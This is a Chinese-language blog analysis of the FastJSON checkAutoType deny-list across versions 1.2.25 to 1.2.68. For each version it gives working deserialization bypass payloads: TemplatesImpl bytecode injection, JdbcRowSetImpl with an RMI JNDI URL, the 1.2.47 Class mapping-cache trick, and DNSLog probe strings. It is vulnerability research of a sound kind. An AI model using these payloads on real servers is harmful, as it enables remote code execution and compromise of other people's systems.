• FastJSON checkAutoType 绕过

    FastJSON checkAutoType 绕过

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    本文章全程参考：Fastjson 反序列化历史漏洞分析 并做了一点补充。

    在maven仓库中，FastJSON vulnerability 只被标注到 \(1.2.24\) 版本，也即是不对类型进行检查的最后一个版本。但本身还是能够找到很多可以被利用的点。

    image-20220329233925064

    checkAutoType

    1.2.25

    FastJSON \(1.2.25-1.2.41\) 版本在反序列化时，添加了 checkAutoType 方法。

    在 com.alibaba.fastjson.parser.ParserConfig 中有这么一个方法：

    image-20220328191240374

    image-20220328191225097

    逻辑

    开始会有个替换 $ 为 . 的操作，是为了正确加载类内作用域定义的类（局部类），比如类 A 中定义了 B，最终B会被编译为 A$B，而在程序内的类名为 A.B。

    存在 acceptList 与 denyList ：

    • 如果类名与 acceptList 其中一项的开始相符合，这加载该类；
    • 如果类名与 denyList 其中一项的开始相符合，这抛出异常 JSONException("autoType is not support. " + typeName)

    对于 autoTypeSupport 值为 true 时，会先与 acceptList 进行匹配；

    对于 autoTypeSupport 值为 false时，会先与 denytList 进行匹配；

    而且最后如果加载的 Class 是 Classloader 或 DataSource 的类型或子类（实现类）的类型，也会抛出 JSONException 。

    调用栈
    checkAutoType:805, ParserConfig (com.alibaba.fastjson.parser)
parseObject:322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)

    checkAutoType 方法会在 DefaultJSONParser 的 public final Object parseObject(final Map object, Object fieldName) 中被调用：

    image-20220329004518711

    注：这个 JSON.DEFAULT_TYPE_KEY 就是字符串 @type 。

    也就是说如果json 键为 @type 且没有加入参数或 Feature.DisableSpecialKeyDetect 那么就会进入 checkAutoType 检查该类名是否在 acceptList 或 denyList 中。

    注意：该方法在无Class参数的 parse 方法中被调用，所以对于指定了 Class 的 parse 不会调用此方法。

    acceptList 与 denyList 的初始化

    这两个列表被定义在 ParserConfig 中，通过静态代码快在载入时初始化：

    image-20220328172833199

    autoTypeSupport

    由 getStringProperty 获取，最终从 System.getProperty 或 DEFAULT_PROPERTIES.getProperty

    获取（如果 System.getProperty 获取值为 null 的话）。

    image-20220328173046918

    denyList

    String[] denyList 被定义与 com.alibaba.fastjson.parser.ParserConfig 中，包含一个初始值：

    private String[] denyList  = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");

    即：

    bsh,com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel,org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat,org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate,org.jboss
org.mozilla.javascript
org.python.core,org.springframework

    部分是具体的类，部分是包

    注意：可以看到 denyList 中包含 com.sun，故 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 与 com.sun.rowset.JdbcRowSetImpl利用链在该版本以及之后就不可用了。

    在 ParserConfig 的构造方法最后会调用 addItemsToDeny(DENYS)，即将 DENYS 中的元素添加进 denyList 中；

    而 String[] DENYS 是在静态代码块中赋值的，通过 getStringProperty(DENY_PROPERTY) 来获取属性值；如果无法从 System.getProperty 获取，这从自定义的 DEFAULT_PROPERTIES 中获取；

    获取属性值 property 之后 ，便通过 splitItemsFormProperty(property) 确定 DENYS 元素列表。

    image-20220328174116544

    将该属性值以 ， 分割，就为 DENYS （可能为null）。最终元素都会被添加到 denyList 中。

    其实从这里就可以看出，列表就是单纯依靠 ， 分割的，多一个空格都不行。

    当然 ParseConfig 提供了addDeny(String) 方法，以便将类名添加进 denyList；

    注：全局 ParserConfig 对象可以通过 ParserConfig.getGlobalInstance 方法获取。

    acceptList

    初始化方式与 denyList 类似；不同的是，该列表初始为空列表，之后通过 String [] AUTO_TYPE_ACCEPT_LIST 确定元素。

    而 AUTO_TYPE_ACCEPT_LIST 也是通过获取 property：fastjson.parser.autoTypeAccept 的值并以 , 分割得到的；如果返回值为 null，这最终为空列表。

    例：未设置相应属性值的正常情况下的 PaserConfig 实例：

    image-20220328174510683

    例：在 FastJSON \(1.2.25\) 中，自定义 item.Value， 如果不设置系统属性值，则会抛出 com.alibaba.fastjson.JSONException: autoType is not support. item.Value；设置 fastjson.parser.autoTypeAccept 属性之后，可解决该问题

    package item;

public class Value {
	public Value(){}
    public int getV() {return 1;}
    public void setV(int v) {}
}


@Test
public void property() {
    System.setProperty("fastjson.parser.autoTypeAccept", "niss,whatever,item")
    Object i = new Value();
    String payload = JSON.toJSONString(i, SerializerFeature.WriteClassName);
    System.out.println(payload);
    Object o = JSON.parseObject(payload);
    System.out.println(o);
}

{"@type":"item.Value","v":1}
{"v":1}

    image-20220329005825534

    例：在 FastJSON \(1.2.25\) 中，使用 TemplatesImpl 利用链是会抛出 JSONException: autoType not support 的，但是设置如下系统属性就可成功执行反序列化PoC：

    System.setProperty("fastjson.parser.autoTypeSupport", "true");
System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");

    Peek 2022-03-27 03-32

    注意：由于这几个属性都是静态代码块生成的，所以需要在FastJSON相关类被载入之前就设置属性。

    当然 ParseConfig 提供了addAccept(String) 方法，以便将类名添加进 acceptList；

    关于 autoTypeSupport 值的设置，ParserConfig 提供了 setAutoTypeSupport(bool) 方法；

    绕过方式

    查看 checkAutoType 方法，匹配到 acceptList 的类名最终作为 TypeUtils.loadClass 的参数。

    TypeUtils.loadClass 方法

    image-20220329011040996

    也就是以 [ 开头 或者 以L 开头且以 ; 结尾 的类名会被去掉字符后，在通过类名载入对应类。

    为了绕开 DENY 匹配，可以将待反序列化json中 @type 的值添加相应字符，即可。

    注意：由于 [ 会被检测为json数组开始，所以一般用 L + ; 。

    但是 checkAutoType 方法的最后：当 autoTypeSuppoer 为 false 时，会始终抛出 JSONException，所以要以该方式绕过，则需要将其设置为 true：

    image-20220329013924967

    注意：发现 loadClass 按照递归处理，所以要修改 json 中的每个键值对的 @type 值。

    例：

    System.setProperty("fastjson.parser.autoTypeSupport", "true");
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," +
    "\"_bytecodes\":["+encoded+"]," +
    "\"_name\":\"a.b\"," +
    "\"_tfactory\":{}," +
    "\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);

    Peek 2022-03-27 03-32

    该方法对 \(1.2.25\leq version \leq 1.2.41\) 有效。

    1.2.42 哈希列表

    FastJSON \(1.2.42\)

    该版本以及之后版本中， acceptList 与 denyList 变成了 private long[] denyHashCodes 与 private long[] acceptHashCodes ，而且 denyHashCodes 为：

    image-20220329023233937

    之后所有的类名会经过 TypeUtils.fnv1a_64 方法处理变为long之后，存入对应列表中。

    其他并没有大变化，这包括这些静态变量的初始化过程：

    image-20220329023350302

    而且该系列版本在匹配 acceptHashCodes 或 denyHashCodes 之前就去除了 [、或 （L与;）。

    例：由于这些静态列表初始化时还是依赖于 System.Property 所以，通过设置系统属性值依旧有效

    System.setProperty("fastjson.parser.autoTypeSupport", "true");
// 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
System.setProperty("fastjson.parser.autoTypeAccept", "com.sun");
// 或 ParserConfig.getGlobalInstance().addAccept("com.sun"); 
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":["+encoded+"]," +
    "\"_name\":\"a.b\"," +
    "\"_tfactory\":{}," +
    "\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);

    Peek 2022-03-27 03-32

    主要是中间做了一些改变：

    image-20220329024421907

    发现之前初始化时对列表排序，是为了在这使用二分查找 。

    会发现在与列表匹配之前，有一段去字符的代码，通过猜测发现其作用正是去掉开头的 L 与结尾的 ;：

    ((((0xcbf29ce484222325L ^ 'L') * 0x100000001b3L) ^ ';') * 0x100000001b3L) == 0x9198507b5af98f0L

true
    黑白名单破解

    github项目：https://github.com/LeadroyaL/fastjson-blacklist

    通过对包名、类名做同样的算法处理，与其进行匹配，还原了部分 hashCode 对应的 String 。

    绕过方式

    由于在之前就被去掉一次字符（如果字符匹配的话），而且调用 TypeUtils.loadClass 方法时会再次去掉一次，所以双写相应字符即可：

    • 双写 ClassName ==> LLClassName;;

    例：

    System.setProperty("fastjson.parser.autoTypeSupport", "true");
// 或 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
byte[] bytes = Files.readAllBytes(new File("target/classes/exploit/TransletExecutor.class").toPath());
String encoded = "\""+new String(Base64.getEncoder().encode(bytes))+"\"";
String data = "{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," +
    "\"_bytecodes\":["+encoded+"]," +
    "\"_name\":\"a.b\"," +
    "\"_tfactory\":{}," +
    "\"_outputProperties\":{}\n}";
JSON.parseObject(data,Feature.SupportNonPublicField);

    由于之前版本最多去除一次字符，该方式只对 \(1.2.42\) 版本有效。

    Peek 2022-03-27 03-32

    1.2.43 对LL的检测

    LL 字符抛异常

    FastJSON \(1.2.43\)

    在该版本中，在 checkAutoType 增加了开头的 LL 匹配：

    image-20220329202520633

    (((0xcbf29ce484222325L^'L')* 0x100000001b3L)^'L')*0x100000001b3L == 0x9195c07b5af5345L
    
true

    如果 className 前两个字符为 LL，这抛出异常。

    绕过方式
    mybatis

    org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 在 \(1.2.46\) 版本才被加入到黑名单，所以如果服务端依赖于 Mybatis，可以利用该调用链。

    数组

    由于 [ 开头的 ClassName 表示数组类型，且观察下面的json：

    {
    "@type":"[com.sun.rowset.JdbcRowSetImpl",
}

    抛出的异常说明：对于 JdbcRowSetImpl 类型的数组， FastJSON 预期 [ 但是获得了 ,：

    image-20220329210959045

    也就是说明对于这种 Object数组的json的形式可能为：

    {
    "@type":"[ClassName"[
        {
            
        },
        {
            
        },
        ...
    ]
}

    例：验证猜想

    @Test
public void test(){
    ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
    String data = "{\n" +
    "\t\"@type\":\"[item.Value\"[\n" +
    "        {\n" +
    "           \"v\":1, \n" +
    "        },\n" +
    "        {\n" +
    "           \"v\":2,\n" +
    "        }\n" +
    "    ]\n" +
    "}";
    System.out.println(JSON.parse(data));
}

    image-20220329212100526

    发现调用了两次 construct 与 set 方法，说明确实进行了两次实例化；但是发现异常说明中有：多出了一个 }，所以正确形式为：

    {
    "@type":"LClassName"[
        {
            
        },
        {
            
        },
        ...
    ]

    image-20220329212243131

    这也证明了之前版本的绕过中，也可以用开头添加 [ 的方式进行绕过，而不会被认为是错误的“开始符”。

    所以可以构造 payload：

    {
    "@type":"[com.sun.rowset.JdbcRowSetImpl"[
        {
            "dataSourceName":"rmi://127.0.0.1:1099/exec",
            "autoCommit":true
        },
]

    该 payload 对 \(\leq 1.2.43\) 都有效。

    Peek 2022-03-27 03-32

    1.2.44 匹配 [ClassName 或 LClassName;

    在 FastJSON \(1.2.44\) 版本中的 checkAutoType 方法中新增：

    image-20220329220243715

    (0xcbf29ce484222325L^'[')*0x100000001b3L == 0xaf64164c86024f1aL
true
    
(((0xcbf29ce484222325L^'L')*0x100000001b3L)^';')*0x100000001b3L == 0x9198507b5af98f0L
true

    可见 [ 开头或者 L开头、; 结尾的绕过方式已经无效了。

    绕过方式

    mybatis利用链，该版本还没被禁用。

    1.2.47 mapping 写入

    payload：

    [
    {
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://127.0.0.1:1099/exec",
        "autoCommit":true
    }
]

    该方式对 FastJSON \(\leq 1.2.47\) 版本都生效，且不需要开启 autoTypeSupport 。

    过程分析

    由于 java.lang.Class 不在黑、白名单中，在 checkAutoType 方法中会进入 TypeUtils.getClassFromMapping(typeName) ：

    image-20220329222946893

    而该方法会尝试从一个 TypeUtils 中的 ConcurrentMap<String,Class<?>> mappings 取对应的类，但实际上是没有的，进入 deserializers.findClass(typeName)：

    image-20220329223956074

    IdentityHashMap（deserialisers 的类型）#findClass 方法被调用：

    image-20220329230248336

    buckets中存放了一些 java.lang、java.util、java.net 等常用类，其中包括 java.lang.Class，最终会被返回。

    回到 checkAutoType 中，只要 expectClass 为null或是HashMap类型，或为expectClass的子类，都会直接返回：

    image-20220329230442001

    DefaultJSONParser

    返回至 DefaultJSONParser#parseObject(final Map object, Object fieldName) 方法，运行到：

    image-20220329231010433

    会通过返回的 Class 对象获取一个 ObjectDeserializer ，并调用 deserialze 方法反序列化。

    deserialze

    该方法好像是用于监测一些特殊类，并监测对应的特殊字段：

    例：

    image-20220330002708343

    该方法会不断地接受json字符，并解析将值赋给 objVal（如果json键不是 val 会抛出异常）：

    image-20220329231826273

    之后如果 objVal 是String类型，则会将其赋给 strVal：

    image-20220329232124565

    有一步会判断如果传入的 clazz 是 Class 类型，那么就回去加载 strVal 表示的类，并返回：

    image-20220329231607743

    注意：这里会对很多类型进行检测，并生成相应的对象：

    UUID=> UUID.fromString(strVal)

    URI=> URI.create(strVal)

    URL=> new URL(strVal)

    Pattern=>Pattern.compile(strVal)

    InetAddress/Inet4Address/Inet6Address=>InetAddress.getByName(strVal)

    File=>new File(strVal)

    ...

    这个 strVal 就是json中的 val 的值。

    其中可以看到有网络相关的，可以利用如下payload 进行DNS探测：

    {
 "@type":"java.net.InetAddress",
 "val":"yeeabi.dnslog.cn"
}

    Peek 2022-03-28 01-49

    来源

    {"@type":"java.net.InetAddress","val":"dnslog"}

{"@type":"java.net.Inet4Address","val":"dnslog"}

{"@type":"java.net.Inet6Address","val":"dnslog"}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}

Set[{"@type":"java.net.URL","val":"http://dnslog"}]

Set[{"@type":"java.net.URL","val":"http://dnslog"}

{{"@type":"java.net.URL","val":"http://dnslog"}:0


https://github.com/alibaba/fastjson/issues/3841
最新版 1.2.76 开启safeMode
{"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}

    可以看到 json中 val 表示的类会被成功加载：

    image-20220329232300476

    TypeUtils#loadClass

    TypeUtils#loadClass 中，如果 cache 为真，这会将加载的类添加进 mapping 中：

    image-20220329232722588

    此时payload中的第二个项的类已经在 mapping 中了！

    真正的恶意类的反序列化

    接下来到了对 JdbcRowSetImpl 的 checkAutoType 中了：

    image-20220329233127171

    由于从此时可以从 TypeUtils.getClassFromMapping 成功找到该类，即使在 denyHashCodes 中匹配，下面的条件也不会成立：

    image-20220329234504032

    再调用一次TypeUtils.getClassFromMapping，返回该类之后，就是对该类的实例化以及属性写入了。

    Peek 2022-03-27 03-35

    1.2.68 safeMode

    FastJSON \(1.2.68\)

    一些变动

    加入 INTERNAL_WHITELIST_HASHCODES 作为额外的白名单：

    image-20220330000652709

    方法开始会使用 ParserConfig 内部定义的接口 AutoTypeCheckHandler 去处理（为null跳过）；

    checkAutoType 会检验 Feature.SafeMode ，如果提供了则直接抛异常 JSONEXception(safeMode not support autoType : typeName)：

    image-20220330000846223

    在 DefaultJSONParser 中也做了修改，无法使用Class的val将类写入mapping了。

    参考：
  • 相关阅读:
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  • 原文地址：https://www.cnblogs.com/nishoushun/p/16074640.html
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